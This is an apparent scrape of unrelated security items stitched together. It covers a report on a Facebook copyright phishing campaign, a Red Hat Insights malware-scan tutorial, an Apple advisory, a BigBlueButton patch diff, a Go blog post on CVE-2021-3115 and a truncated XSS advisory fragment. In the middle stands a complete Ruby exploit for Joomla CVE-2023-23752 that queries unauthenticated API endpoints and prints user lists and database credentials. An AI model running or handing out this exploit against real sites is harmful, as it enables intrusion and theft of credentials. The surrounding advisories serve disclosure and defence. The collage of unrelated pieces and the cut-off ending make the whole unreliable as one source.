Business users receive a message from Facebook warning their accounts will be permanently suspended for using photos illegally if they don't appeal within 24 hours, leading victims to a credential-harvesting page instead.

An extensive credential-harvesting campaign has hackers leveraging Facebook copyright infringement notices to steal enterprise credentials.

Malicious actors continue to use tried and true phishing techniques and social engineering tactics to compel targets into giving up key information, attempting to generate anxiety to prompt a hasty handover. According to a Monday report from Avanan, this latest campaign sends users an email warning that because the page has uploaded a photo violating Facebook’s copyright infringement policy, the account will be permanently suspended unless they click on link to appeal the decision.

This link leads not to a Meta site but rather a credential-harvesting site, the report notes.

"Though this email has a sender address that clearly does not come from Facebook, it’s otherwise fairly believable," the report said.

Jeremy Fuchs, cybersecurity researcher and analyst at Avanan, explains the campaign could be aimed at any organization, but would be most effective with companies that rely heavily on Facebook advertising.

"The urgency indicated in the email could cause some to take quick action," he says. "These types of attacks keep on finding success because they work. Attackers are able to use this to evade legacy defenses and are able to persuade users to click on it and take action."

To guard against similar social media-based phishing attack relying on a harried response to perceived urgency, Fuchs says checking the URL for legitimacy is a good start — as is checking the sender address.

"If those are off, that’s a good sign that something is amiss," he says. "The key thing is to encourage staff to take a beat before responding. That allows them to look for things like grammar errors, mismatched sender address, wrong URLs, and more."

Fuchs adds attacks constantly evolve, and malicious actors are likely to continue to use new lures, new services, and new ways to capture the victim’s attention.

The report advises employing security tactics like always double-checking sender addresses, hovering over all URLs before clicking, and logging into the Facebook account directly to check the status of the account, instead of clicking on the URL in the email.

**Social Media a Popular Attack Vector**

The use of social media, though indispensable for many companies, also carries a risk, and Avanan and other security firms have spotted similar attacks spoofing the same brand as a sign hackers are getting people to bite.

Some 400 mobile apps posing as legitimate software on Google Play and the Apple App Store over the past year were designed to steal Facebook user credentials.

Facebook lead-generation forms had previously been repurposed to collect passwords and credit card information from unsuspecting Facebook advertisers, with attackers piggybacking on the power of the Facebook brand by using emails that look like they're coming from Facebook Ads Manager.

And according to a report this month from Outseer, brand impersonations, or brandjackings, like these increased by 274% last year as attackers continue to peddle their scams by looking like they come from reliable sources.

As digital applications proliferate and use of social media remains strong, educating users against social engineering attempts is a key part of a strong defense.

'Copyright Infringement' Lure Used for Facebook Credential Harvesting

Joomla! versions prior to 4.2.8 suffer from an unauthenticated information disclosure vulnerability.

    #!/usr/bin/env ruby# Exploit## Title: Joomla! < 4.2.8 - Unauthenticated information disclosure## Exploit author: noraj (Alexandre ZANNI) for ACCEIS (https://www.acceis.fr)## Author website: https://pwn.by/noraj/## Exploit source: https://github.com/Acceis/exploit-CVE-2023-23752## Date: 2023-03-24## Vendor Homepage: https://www.joomla.org/## Software Link: https://downloads.joomla.org/cms/joomla4/4-2-7/Joomla_4-2-7-Stable-Full_Package.tar.gz?format=gz## Version: 4.0.0 < 4.2.8 (it means from 4.0.0 up to 4.2.7)## Tested on: Joomla! Version 4.2.7## CVE : CVE-2023-23752# Vulnerability## Discoverer: Zewei Zhang from NSFOCUS TIANJI Lab## Date: 2023-02-24## Discoverer website: https://nsfocusglobal.com/company-overview/nsfocus-security-labs/## Title: Joomla Unauthorized Access## CVE: CVE-2023-23752## Patch: Update to >= 4.2.8## References:##   - https://nsfocusglobal.com/joomla-unauthorized-access-vulnerability-cve-2023-23752-notice/##   - https://developer.joomla.org/security-centre/894-20230201-core-improper-access-check-in-webservice-endpoints.html##   - https://attackerkb.com/topics/18qrh3PXIX/cve-2023-23752##   - https://nvd.nist.gov/vuln/detail/CVE-2023-23752##   - https://vulncheck.com/blog/joomla-for-rce##   - https://github.com/projectdiscovery/nuclei-templates/blob/main/cves/2023/CVE-2023-23752.yaml# standard libraryrequire 'json'# gemsrequire 'httpx'require 'docopt'require 'paint'doc = <<~DOCOPT  #{Paint['Joomla! < 4.2.8 - Unauthenticated information disclosure', :bold]}  #{Paint['Usage:', :red]}    #{__FILE__} <url> [options]    #{__FILE__} -h | --help  #{Paint['Parameters:', :red]}    <url>       Root URL (base path) including HTTP scheme, port and root folder  #{Paint['Options:', :red]}    --debug     Display arguments    --no-color  Disable colorized output (NO_COLOR environment variable is respected too)    -h, --help  Show this screen  #{Paint['Examples:', :red]}    #{__FILE__} http://127.0.0.1:4242    #{__FILE__} https://example.org/subdir  #{Paint['Project:', :red]}    #{Paint['author', :underline]} (https://pwn.by/noraj / https://twitter.com/noraj_rawsec)    #{Paint['company', :underline]} (https://www.acceis.fr / https://twitter.com/acceis)    #{Paint['source', :underline]} (https://github.com/Acceis/exploit-CVE-2023-23752)DOCOPTdef fetch_users(root_url, http)  vuln_url = "#{root_url}/api/index.php/v1/users?public=true"  http.get(vuln_url)enddef parse_users(root_url, http)  data_json = fetch_users(root_url, http)  data = JSON.parse(data_json)['data']  users = []  data.each do |user|    if user['type'] == 'users'      id = user['attributes']['id']      name = user['attributes']['name']      username = user['attributes']['username']      email = user['attributes']['email']      groups = user['attributes']['group_names']      users << {id: id, name: name, username: username, email: email, groups: groups}    end  end  usersenddef display_users(root_url, http)  users = parse_users(root_url, http)  puts Paint['Users', :red, :bold]  users.each do |u|    puts "[#{u[:id]}] #{u[:name]} (#{Paint[u[:username], :yellow]}) - #{u[:email]} - #{u[:groups]}"  endenddef fetch_config(root_url, http)  vuln_url = "#{root_url}/api/index.php/v1/config/application?public=true"  http.get(vuln_url)enddef parse_config(root_url, http)  data_json = fetch_config(root_url, http)  data = JSON.parse(data_json)['data']  config = {}  data.each do |entry|    if entry['type'] == 'application'      key = entry['attributes'].keys.first      config[key] = entry['attributes'][key]    end  end  configenddef display_config(root_url, http)  c = parse_config(root_url, http)  puts Paint['Site info', :red, :bold]  puts "Site name: #{c['sitename']}"  puts "Editor: #{c['editor']}"  puts "Captcha: #{c['captcha']}"  puts "Access: #{c['access']}"  puts "Debug status: #{c['debug']}"  puts  puts Paint['Database info', :red, :bold]  puts "DB type: #{c['dbtype']}"  puts "DB host: #{c['host']}"  puts "DB user: #{Paint[c['user'], :yellow, :bold]}"  puts "DB password: #{Paint[c['password'], :yellow, :bold]}"  puts "DB name: #{c['db']}"  puts "DB prefix: #{c['dbprefix']}"  puts "DB encryption #{c['dbencryption']}"endbegin  args = Docopt.docopt(doc)  Paint.mode = 0 if args['--no-color']  puts args if args['--debug']  http = HTTPX  display_users(args['<url>'], http)  puts  display_config(args['<url>'], http)rescue Docopt::Exit => e  puts e.messageend

Joomla! 4.2.7 Unauthenticated Information Disclosure

Malwarebytes Browser Guard now warns users about recent data breaches, as well as automatically opting users out of tracking cookies.

Two things are true of data online: It will be collected and, just as easily, it will be lost. 

But a major update to Malwarebytes Browser Guard will better protect users from opaque data collection that happens every day online, as well as raising their awareness about corporate data breaches that have left their sensitive information vulnerable to harm.    

First, Browser Guard will now send helpful notifications to users when they visit a website belonging to a company that has suffered a proven data breach in the past 90 days. While everyday users might already know about some of the largest breaches in recent history—AT&T comes to mind—it can be nearly impossible to keep track of every single company that has lost user data in the past.  

With these new data breach notifications, Browser Guard will warn users about recent data breaches they perhaps never heard about, from the 2.2 million people affected by the breach of Rite Aid, to the 1.7 million people affected by the breach of Slim CD, to the 500,000 people affected by the breach of the Texas Dow Employees Credit Union.  

Importantly, Browser Guard will not send repeat notifications that pester return users. The notifications will also include direct access to the Malwarebytes Digital Footprint Portal, allowing users to check in real time whether their data was included in any flagged breach.  

In a second, added feature, Browser Guard is also making it easier to stay private online by automatically opting users out of data collection performed by tracking cookies that are littered across the internet, with no extra effort required on users’ behalf.

These types of cookies are present on nearly every single website that people visit today, from Google to Facebook to YouTube to Reddit. They are invisible pieces of code that advertisers use to track user activity even after they leave a website.

This data, when collected in aggregate, can reveal a person’s age, gender, hometown, relationship status, political beliefs, and so much more. And it’s precisely this data that advertisers want, as it helps them micro-target their ads to, say, new dads in Overland Park, Kansas, looking for a lawnmower, or, first-time homeowners in San Francisco needing a washer and dryer that fit in a small space.

For more than a decade, this type of data collection happened invisibly, but when the European Union passed a sweeping set of data protection rights in 2016, much of that changed.

Following the passage of the law (referred to in short as GDPR), users began to see cumbersome popups everywhere across the web that asked about “cookie preferences”—preferences around how these invisible trackers would collect information both for the website itself and for the advertisers using that website to deliver ads.

With the latest Browser Guard update, cookie consent forms will now be auto-rejected, thus requesting the site to honor the most privacy-preserving settings.

What people experience is a simpler and less aggravating internet, where they’re no longer forced to manage yet another aspect of their privacy.

**Download for Free today:**

For a live look at the new Browser Guard, see the video below.

 Browser Guard now flags data breaches and better protects personal data   

<p>Did you know that <strong><a href="https://www.redhat.com/en/technologies/management/insights">Red Hat Insights</a></strong> for <strong><a href="https://www.redhat.com/en/technologies/linux-platforms/enterprise-linux">Red Hat Enterprise Linux</a></strong> (RHEL) can be used to help detect the presence of malware? This makes it more likely that you'll know when a RHEL system has sustained a malware attack. The effectivenes

Did you know that **Red Hat Insights** for **Red Hat Enterprise Linux** (RHEL) can be used to help detect the presence of malware? This makes it more likely that you'll know when a RHEL system has sustained a malware attack. The effectiveness of Insights for this purpose is enhanced by threat intelligence subscriptions from IBM X-Force, in collaboration with Red Hat.

The Insights malware-detection service is a monitoring and assessment tool that scans RHEL systems for the presence of known malware. The system incorporates YARA pattern-matching software and detection signatures.

Insights is a cloud-based service that can be accessed from the Red Hat customer portal. This means there is no maintenance to be done on the user's end. Simply integrate it with Insights clients, which are available for almost all subscriptions to RHEL, Red Hat OpenShift and Red Hat Ansible Automation Platform.

Insights proactively and continuously analyzes platforms and applications to help predict risks, recommend actions, track licenses and manage costs. This helps enterprises better manage their on-premise and hybrid cloud environments.

Sound good? Then I'll show you how easy it is to integrate your Red Hat environment, issue the first report on malware detection, and other useful information for smooth-running Red Hat systems.

**Prerequisites**

Since this is a modern solution, we will need a supported operating system.

*   The operating system version must be RHEL8 or RHEL9
*   The administrator must have administrative or sudo access to the system
*   The Insights client package must be installed
*   The environment must be registered in Insights for Red Hat Enterprise Linux
*   The system must be able to access the Red Hat Cloud Console via direct internet access or HTTP proxy
*   User permission on malware-detection groups, roles and members in User Access

**Laboratory**

We will work with an RHEL 8 system to better exemplify the reports generated. We will intentionally adjust some items to provide a better analysis by Insights.

The fully qualified domain name (FQDN) will be:

*   **Host**: rhel8-yara-testing.rhbrlabs.com

**Host**

For the host, we’ll use RHEL 8.5, with no updates and Security-Enhanced Linux (SELinux) disabled. This insecure setup is necessary to generate more inputs to Insights.

*   A regular update routine in a real production environment is important. Likewise SELinux should operate in Enforcing mode to increase the reliability of a production environment.

Before proceeding with the YARA installation, we need to perform three important basic tasks:

*   Take care that the environment clock is always synchronized
*   Set the timezone correctly
*   Perform the system subscription

**Basic tasks**

Disable SELinux (again, in real production environments, we recommend using SELinux in Enforcing mode), and perform the basic tasks:

\# sed -i s/'\\=enforcing'/'\\=disabled'/g /etc/selinux/config
# timedatectl set-timezone America/Sao\_Paulo
# hostnamectl set-hostname rhel8-yara-testing.rhbrlabs.com

You may want to logout/login before performing the next steps:

\# subscription-manager register --auto-attach
# subscription-manager status
# subscription-manager repos
# dnf -y install chrony
# systemctl enable --now chronyd.service
# chronyc sources
# reboot

Don't update the system yet!

**Software installation**

Now the YARA and Insights packages:

\# dnf -y install yara insights-client

Only these packages are needed for the magic to happen. Very handy.

**Using Insights**

Let's move on to performing the basic tasks below:

*   Connection test
*   Registering the system in Insights
*   Scanning the system for malware

**Connection test**

Test the connection to Insights for RHEL.

\# insights-client --test-connection

Running Connection Tests...
=== Begin Upload URL Connection Test ===
Testing: https://cert-api.access.redhat.com/r/insights/uploads/
POST https://cert-api.access.redhat.com/r/insights/uploads/
HTTP Status: 200 OK
HTTP Response Text: {"request\_id":"e7d200e80a","upload":{"account\_number":"000000X","org\_id":"1111111Y"}}
Successfully connected to: https://cert-api.access.redhat.com/r/insights/uploads/
=== End Upload URL Connection Test: SUCCESS ===

=== Begin API URL Connection Test ===
Testing: https://cert-api.access.redhat.com/r/insights/
GET https://cert-api.access.redhat.com/r/insights/
HTTP Status: 200 OK
HTTP Response Text: lub-dub
Successfully connected to: https://cert-api.access.redhat.com/r/insights/
=== End API URL Connection Test: SUCCESS ===

Connectivity tests completed successfully
See /var/log/insights-client/insights-client.log for more details.

In the example above, we can see that the system was able to connect to the Insights cloud services.

**Registering the system in Insights**

Register the system with Insights.

\# insights-client --register

Successfully registered host rhel8-yara-testing.rhbrlabs.com
Automatic scheduling for Insights has been enabled.
Starting to collect Insights data for rhel8-yara-testing.rhbrlabs.com
Uploading Insights data.
Successfully uploaded report from rhel8-yara-testing.rhbrlabs.com to account 000000X.
View the Red Hat Insights console at https://console.redhat.com/insights/

System successfully registered in Insights. Now move on to the next step.

**Malware scanning**

Run the Insights client malware-detection collector. This operation will take a while to finish.

\# insights-client --collector malware-detection

Starting to collect Insights data for rhel8-yara-testing.rhbrlabs.com
Writing the malware-detection app default configuration to /etc/insights-client/malware-detection-config.yml

Performing a test scan of /etc/insights-client/malware-detection-config.yml and the current process (PID 5638) to verify the malware-detection app is installed and scanning correctly ...

Starting filesystem scan ...
Scanning specified files in /etc ...
Matched rule TEST\_RedHatInsightsMalwareDetection in file /etc/insights-client/malware-detection-config.yml
Scan time for /etc: 0 seconds
Filesystem scan time: 00:00:00
Starting processes scan ...
Scanning process 5638 ...
Matched rule TEST\_RedHatInsightsMalwareDetection in process 5638
Scan time for process 5638: 0 seconds
Processes scan time: 00:00:00
Found 2 rule matches.

Red Hat Insights malware-detection app test scan complete.
Test scan results are not recorded in the Insights UI (https://console.redhat.com/insights/malware)
To perform proper scans, please set test\_scan: false in /etc/insights-client/malware-detection-config.yml

Uploading Insights data.
Successfully uploaded report for rhel8-yara-testing.rhbrlabs.com.

A rule related to "**TEST\_RedHatInsightsMalwareDetection**" will be matched, but this is intentional and nothing to worry about, as the operation was performed in "**test**" mode. Later on we will see how to deactivate the test mode.

The results of the initial scan may not yet appear in the detection service's Web UI, but Insights will be fully operational and update the Web UI with some information.

Go to the Insights console and check the **Insights findings** for your system.

_Insights advisory_

_Vulnerabilities found_

_Pending patches_

The collector takes the following actions during this first run:

*   Creates a malware detection configuration testing file at **/etc/insights-client/malware-detection-config.yml**.
*   Performs a test scan and uploads the results

Next, we will see how to customize the generated YAML configuration to enable other functions, as this initial scan only does simpler checks.

Edit **/etc/insights-client/malware-detection-config.yml** and set the **test\_scan** option to **false**.

\# sed -i s/'test\_scan:\\ true'/'test\_scan:\\ false'/g /etc/insights-client/malware-detection-config.yml

There are other YAML configuration options you can explore, but for now, we'll just stick with what we have.

Now perform a full filesystem scan, by re-running the Insights client collector:

\# insights-client --collector malware-detection
Starting to collect Insights data for rhel8-yara-testing.rhbrlabs.com
Skipping missing filesystem\_scan\_exclude item: '/cgroup'
Skipping missing filesystem\_scan\_exclude item: '/selinux'
Skipping missing filesystem\_scan\_exclude item: '/net'
Excluding specified filesystem items: \['/proc', '/sys', '/mnt', '/media', '/dev'\]
Starting filesystem scan ...
Scanning files in /.autorelabel ...
Scan time for /.autorelabel: 0 seconds
Scanning files in /.bash\_history ...
Scan time for /.bash\_history: 0 seconds
Scanning files in /boot ...
Scan time for /boot: 0 seconds
Scanning files in /etc ...
Scan time for /etc: 0 seconds
Scanning files in /home ...
Scan time for /home: 0 seconds
Scanning files in /opt ...
Scan time for /opt: 0 seconds
Scanning files in /root ...
Scan time for /root: 0 seconds
Scanning files in /run ...
Scan time for /run: 0 seconds
Scanning files in /srv ...
Scan time for /srv: 0 seconds
Scanning specified files in /tmp ...
Scan time for /tmp: 0 seconds
Scanning files in /usr ...
Scan time for /usr: 65 seconds
Scanning specified files in /var ...
Scan time for /var: 4 seconds
Filesystem scan time: 00:01:11
No rule matches found.
Uploading Insights data.
Successfully uploaded report for rhel8-yara-testing.rhbrlabs.com.

**Logs**

Check the Insights and malware detection logs at: **/var/log/insights-client/insights-client.log**

_Insights and malware detection logs_

**View results of malware-detection system scans on the Hybrid Cloud Console**

Prerequisites:

*   You must be logged into the Hybrid Cloud Console (https://console.redhat.com)
*   You are a member of a Hybrid Cloud Console User Access group with the Malware detection administrator or Malware detection viewer role.

NOTE: An Organization Administrator must create malware-detection groups in **Red Hat Hybrid Cloud Console > User Access > Groups** and add the necessary **malware-detection roles and members** (registered users on the account).

Navigate to **Red Hat Enterprise Linux > Malware > Systems**.

In the Insights dashboard in the customer portal, we can see the malware scan results as well as other health and safety recommendations for the environment:

_Malware scan results_

**IMPORTANT**: There is no "default-group" role for malware-detection service users. For users to view data or control settings in the malware-detection service, they must be members of one or more User Access groups with one of the following roles:

*   Malware detection viewer
*   Malware detection administrator

In the malware-detection service UI, User Access-authorized administrators and viewers can:

*   See the list of signatures against which their RHEL systems are scanned
*   See aggregate results for all RHEL systems with malware-detection enabled in the Insights client
*   See results for individual systems
*   Know when a system shows evidence of the presence of malware

These features give security threat assessors and IT incident-response teams valuable information to help prepare a response.

**Useful links**

*   Red Hat Insights
*   Product Documentation for Red Hat Insights 2022
*   Get started using the Insights for RHEL malware-detection service

How to use Red Hat Insights malware detection service

Apple Security Advisory 02-02-2024-1 - visionOS 1.0.2 addresses a code execution vulnerability.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

APPLE-SA-02-02-2024-1 visionOS 1.0.2

visionOS 1.0.2 addresses the following issues.  
Information about the security content is also available at  
https://support.apple.com/HT214070.

Apple maintains a Security Releases page at  
https://support.apple.com/HT201222 which lists recent  
software updates with security advisories.

WebKit  
Available for: Apple Vision Pro  
Impact: Processing maliciously crafted web content may lead to   
arbitrary code execution. Apple is aware of a report that this issue   
may have been exploited.  
Description: A type confusion issue was addressed with improved  
checks.  
WebKit Bugzilla: 267134  
CVE-2024-23222

Instructions on how to update visionOS are available  
at https://support.apple.com/HT214009 To check the software   
version on your Apple Vision Pro, open the Settings app and choose   
General > About.

All information is also posted on the Apple Security Releases  
web site: https://support.apple.com/HT201222.

This message is signed with Apple's Product Security PGP key,  
and details are available at:  
https://www.apple.com/support/security/pgp/  
-----BEGIN PGP SIGNATURE-----

iQIzBAEBCAAdFiEEsz9altA7uTI+rE/qX+5d1TXaIvoFAmW9aewACgkQX+5d1TXa  
IvrZNxAAlUqs8RDuCeo/N9dUGSvXociXTXDrbhZzKZeQ+RQjLNnW9fyUailHNcMM  
a2Udpkty1/eDQIWgZxTl8ftcBycxeEsatn29UpYaWNsRLuYPInTKr8LCdv4evUJm  
KTnW4xyprG5hKbiVKV17inpxLwF0YyziC5ZTa670f1POT9B7tYRvlj0rvp8OK9+V  
Gh/9gEKEwwhvc7DnwvtxIJsNZf0TPcRtjNBYxgXEghT8+a5H3dERVWiMyLepAh8X  
Vrf5Hfy0SI792u53LIvN8zP2nLuQr3Sw0ZxxJsUOGNWmyg1SoF2jmAh56Ksh/MbV  
fS4EhyfaZTSR4YycFZtuUozAoFiZ+Sk62xTTZGV64DxGvVu6Vr0gOp4K65fNy1QU  
L6nkwc89G1TSHdbVlCLtP8VZYFpFlAOmtYklb7e0oGYYrY5QZmQoXoTMmcK/sTcJ  
+mBsfHU+zXOXRDQ+XSg/JLtlUy5+jV8JOnT46At+sueVvnRvOyg12Wjuo4dzuzNh  
1zDVnmfVRnRRmT6ZXHlTEMcaTmnCk73jZEP00maem6DGHYCjcVAW8MqK3IcHv79U  
YKQ+t14ooVbskTPdDHrAzznK3nUQNkC8FytW8Z3bNhdpl1yMKyFJPYROPxRMTJQN  
vhZ4nKx1Lz3yaCJsH3dkuKOLvggM9vz/oa3Qv8NKh1loShhj0JU=  
=pJSu  
-----END PGP SIGNATURE-----

Apple Security Advisory 02-02-2024-1

BigBlueButton before 2.2.7 does not have a protection mechanism for separator injection in meetingId, userId, and authToken.

@@ -2,6 +2,9 @@ import { check } from 'meteor/check';

import Logger from '/imports/startup/server/logger';

import Users from '/imports/api/users';

import userJoin from './userJoin';

import pendingAuthenticationsStore from '../store/pendingAuthentications';

import createDummyUser from '../modifiers/createDummyUser';

import setConnectionIdAndAuthToken from '../modifiers/setConnectionIdAndAuthToken';

  

const clearOtherSessions \= (sessionUserId, current \= false) \=> {

const serverSessions \= Meteor.server.sessions;

@@ -12,12 +15,58 @@ const clearOtherSessions = (sessionUserId, current = false) => {

};

  

export default function handleValidateAuthToken({ body }, meetingId) {

const { userId, valid, waitForApproval } \= body;

const { userId, valid, authToken, waitForApproval } \= body;

  

check(userId, String);

check(authToken, String);

check(valid, Boolean);

check(waitForApproval, Boolean);

  

const pendingAuths \= pendingAuthenticationsStore.take(meetingId, userId, authToken);

  

if(!valid) {

pendingAuths.forEach (

pendingAuth \=> {

try {

const {methodInvocationObject} \= pendingAuth;

const connectionId \= methodInvocationObject.connection.id;

  

methodInvocationObject.connection.close();

Logger.info(\`Closed connection ${connectionId} due to invalid auth token.\`);

} catch (e) {

Logger.error(\`Error closing socket for meetingId '${meetingId}', userId '${userId}', authToken ${authToken}\`);

}

}

);

  

return;

}

  

if(valid) {

// Define user ID on connections

pendingAuths.forEach (

pendingAuth \=> {

const {methodInvocationObject} \= pendingAuth;

  

/\* Logic migrated from validateAuthToken method ( postponed to only run in case of success response ) - Begin \*/

const sessionId \= \`${meetingId}\--${userId}\`;

methodInvocationObject.setUserId(sessionId);

  

const User \= Users.findOne({

meetingId,

userId: userId,

});

  

if (!User) {

createDummyUser(meetingId, userId, authToken);

}

  

setConnectionIdAndAuthToken(meetingId, userId, methodInvocationObject.connection.id, authToken);

/\* End of logic migrated from validateAuthToken \*/

}

);

}

  

const selector \= {

meetingId,

userId,

CVE-2020-27602: Refactor connection definition of userId to wait for validateAuthToken · bigbluebutton/bigbluebutton@4bfd924

Go before 1.14.14 and 1.15.x before 1.15.7 on Windows is vulnerable to Command Injection and remote code execution when using the "go get" command to fetch modules that make use of cgo (for example, cgo can execute a gcc program from an untrusted download).

**The Go Blog**

Today’s Go security release fixes an issue involving PATH lookups in untrusted directories that can lead to remote execution during the go get command. We expect people to have questions about what exactly this means and whether they might have issues in their own programs. This post details the bug, the fixes we have applied, how to decide whether your own programs are vulnerable to similar problems, and what you can do if they are.

**Go command & remote execution**

One of the design goals for the go command is that most commands – including go build, go doc, go get, go install, and go list – do not run arbitrary code downloaded from the internet. There are a few obvious exceptions: clearly go run, go test, and go generate _do_ run arbitrary code – that’s their job. But the others must not, for a variety of reasons including reproducible builds and security. So when go get can be tricked into executing arbitrary code, we consider that a security bug.

If go get must not run arbitrary code, then unfortunately that means all the programs it invokes, such as compilers and version control systems, are also inside the security perimeter. For example, we’ve had issues in the past in which clever use of obscure compiler features or remote execution bugs in version control systems became remote execution bugs in Go. (On that note, Go 1.16 aims to improve the situation by introducing a GOVCS setting that allows configuration of exactly which version control systems are allowed and when.)

Today’s bug, however, was entirely our fault, not a bug or obscure feature of gcc or git. The bug involves how Go and other programs find other executables, so we need to spend a little time looking at that before we can get to the details.

**Commands and PATHs and Go**

All operating systems have a concept of an executable path ($PATH on Unix, %PATH% on Windows; for simplicity, we’ll just use the term PATH), which is a list of directories. When you type a command into a shell prompt, the shell looks in each of the listed directories, in turn, for an executable with the name you typed. It runs the first one it finds, or it prints a message like “command not found.”

On Unix, this idea first appeared in Seventh Edition Unix’s Bourne shell (1979). The manual explained:

> The shell parameter $PATH defines the search path for the directory containing the command. Each alternative directory name is separated by a colon (:). The default path is :/bin:/usr/bin. If the command name contains a / then the search path is not used. Otherwise, each directory in the path is searched for an executable file.

Note the default: the current directory (denoted here by an empty string, but let’s call it “dot”) is listed ahead of /bin and /usr/bin. MS-DOS and then Windows chose to hard-code that behavior: on those systems, dot is always searched first, automatically, before considering any directories listed in %PATH%.

As Grampp and Morris pointed out in their classic paper “UNIX Operating System Security” (1984), placing dot ahead of system directories in the PATH means that if you cd into a directory and run ls, you might get a malicious copy from that directory instead of the system utility. And if you can trick a system administrator to run ls in your home directory while logged in as root, then you can run any code you want. Because of this problem and others like it, essentially all modern Unix distributions set a new user’s default PATH to exclude dot. But Windows systems continue to search dot first, no matter what PATH says.

For example, when you type the command

    go version
    

on a typically-configured Unix, the shell runs a go executable from a system directory in your PATH. But when you type that command on Windows, cmd.exe checks dot first. If .\go.exe (or .\go.bat or many other choices) exists, cmd.exe runs that executable, not one from your PATH.

For Go, PATH searches are handled by exec.LookPath, called automatically by exec.Command. And to fit well into the host system, Go’s exec.LookPath implements the Unix rules on Unix and the Windows rules on Windows. For example, this command

    out, err := exec.Command("go", "version").CombinedOutput()
    

behaves the same as typing go version into the operating system shell. On Windows, it runs .\go.exe when that exists.

(It is worth noting that Windows PowerShell changed this behavior, dropping the implicit search of dot, but cmd.exe and the Windows C library SearchPath function continue to behave as they always have. Go continues to match cmd.exe.)

**The Bug**

When go get downloads and builds a package that contains import "C", it runs a program called cgo to prepare the Go equivalent of the relevant C code. The go command runs cgo in the directory containing the package sources. Once cgo has generated its Go output files, the go command itself invokes the Go compiler on the generated Go files and the host C compiler (gcc or clang) to build any C sources included with the package. All this works well. But where does the go command find the host C compiler? It looks in the PATH, of course. Luckily, while it runs the C compiler in the package source directory, it does the PATH lookup from the original directory where the go command was invoked:

    cmd := exec.Command("gcc", "file.c")
    cmd.Dir = "badpkg"
    cmd.Run()
    

So even if badpkg\gcc.exe exists on a Windows system, this code snippet will not find it. The lookup that happens in exec.Command does not know about the badpkg directory.

The go command uses similar code to invoke cgo, and in that case there’s not even a path lookup, because cgo always comes from GOROOT:

    cmd := exec.Command(GOROOT+"/pkg/tool/"+GOOS_GOARCH+"/cgo", "file.go")
    cmd.Dir = "badpkg"
    cmd.Run()
    

This is even safer than the previous snippet: there’s no chance of running any bad cgo.exe that may exist.

But it turns out that cgo itself also invokes the host C compiler, on some temporary files it creates, meaning it executes this code itself:

    // running in cgo in badpkg dir
    cmd := exec.Command("gcc", "tmpfile.c")
    cmd.Run()
    

Now, because cgo itself is running in badpkg, not in the directory where the go command was run, it will run badpkg\gcc.exe if that file exists, instead of finding the system gcc.

So an attacker can create a malicious package that uses cgo and includes a gcc.exe, and then any Windows user that runs go get to download and build the attacker’s package will run the attacker-supplied gcc.exe in preference to any gcc in the system path.

Unix systems avoid the problem first because dot is typically not in the PATH and second because module unpacking does not set execute bits on the files it writes. But Unix users who have dot ahead of system directories in their PATH and are using GOPATH mode would be as susceptible as Windows users. (If that describes you, today is a good day to remove dot from your path and to start using Go modules.)

(Thanks to RyotaK for reporting this issue to us.)

**The Fixes**

It’s obviously unacceptable for the go get command to download and run a malicious gcc.exe. But what’s the actual mistake that allows that? And then what’s the fix?

One possible answer is that the mistake is that cgo does the search for the host C compiler in the untrusted source directory instead of in the directory where the go command was invoked. If that’s the mistake, then the fix is to change the go command to pass cgo the full path to the host C compiler, so that cgo need not do a PATH lookup in to the untrusted directory.

Another possible answer is that the mistake is to look in dot during PATH lookups, whether happens automatically on Windows or because of an explicit PATH entry on a Unix system. A user may want to look in dot to find a command they typed in a console or shell window, but it’s unlikely they also want to look there to find a subprocess of a subprocess of a typed command. If that’s the mistake, then the fix is to change the cgo command not to look in dot during a PATH lookup.

We decided both were mistakes, so we applied both fixes. The go command now passes the full host C compiler path to cgo. On top of that, cgo, go, and every other command in the Go distribution now use a variant of the os/exec package that reports an error if it would have previously used an executable from dot. The packages go/build and go/import use the same policy for their invocation of the go command and other tools. This should shut the door on any similar security problems that may be lurking.

Out of an abundance of caution, we also made a similar fix in commands like goimports and gopls, as well as the libraries golang.org/x/tools/go/analysis and golang.org/x/tools/go/packages, which invoke the go command as a subprocess. If you run these programs in untrusted directories – for example, if you git checkout untrusted repositories and cd into them and then run programs like these, and you use Windows or use Unix with dot in your PATH – then you should update your copies of these commands too. If the only untrusted directories on your computer are the ones in the module cache managed by go get, then you only need the new Go release.

After updating to the new Go release, you can update to the latest gopls by using:

    GO111MODULE=on \
    go get golang.org/x/tools/gopls@v0.6.4
    

and you can update to the latest goimports or other tools by using:

    GO111MODULE=on \
    go get golang.org/x/tools/cmd/goimports@v0.1.0
    

You can update programs that depend on golang.org/x/tools/go/packages, even before their authors do, by adding an explicit upgrade of the dependency during go get:

    GO111MODULE=on \
    go get example.com/cmd/thecmd golang.org/x/tools@v0.1.0
    

For programs that use go/build, it is sufficient for you to recompile them using the updated Go release.

Again, you only need to update these other programs if you are a Windows user or a Unix user with dot in the PATH _and_ you run these programs in source directories you do not trust that may contain malicious programs.

**Are your own programs affected?**

If you use exec.LookPath or exec.Command in your own programs, you only need to be concerned if you (or your users) run your program in a directory with untrusted contents. If so, then a subprocess could be started using an executable from dot instead of from a system directory. (Again, using an executable from dot happens always on Windows and only with uncommon PATH settings on Unix.)

If you are concerned, then we’ve published the more restricted variant of os/exec as golang.org/x/sys/execabs. You can use it in your program by simply replacing

    import "os/exec"
    

with

    import exec "golang.org/x/sys/execabs"
    

and recompiling.

**Securing os/exec by default**

We have been discussing on golang.org/issue/38736 whether the Windows behavior of always preferring the current directory in PATH lookups (during exec.Command and exec.LookPath) should be changed. The argument in favor of the change is that it closes the kinds of security problems discussed in this blog post. A supporting argument is that although the Windows SearchPath API and cmd.exe still always search the current directory, PowerShell, the successor to cmd.exe, does not, an apparent recognition that the original behavior was a mistake. The argument against the change is that it could break existing Windows programs that intend to find programs in the current directory. We don’t know how many such programs exist, but they would get unexplained failures if the PATH lookups started skipping the current directory entirely.

The approach we have taken in golang.org/x/sys/execabs may be a reasonable middle ground. It finds the result of the old PATH lookup and then returns a clear error rather than use a result from the current directory. The error returned from exec.Command("prog") when prog.exe exists looks like:

    prog resolves to executable in current directory (.\prog.exe)
    

For programs that do change behavior, this error should make very clear what has happened. Programs that intend to run a program from the current directory can use exec.Command("./prog") instead (that syntax works on all systems, even Windows).

We have filed this idea as a new proposal, golang.org/issue/43724.

CVE-2021-3115: Command PATH security in Go - The Go Programming Language

Subscription-Manager v1.0 /main.js has a cross-site scripting (XSS) vulnerability in the machineDetail parameter.

**Vulnerability file:**

/main.js

let machine\_edit\_component \= Vue.component('Machine\_edit\_component',{
    template:\`
        <div class="container">
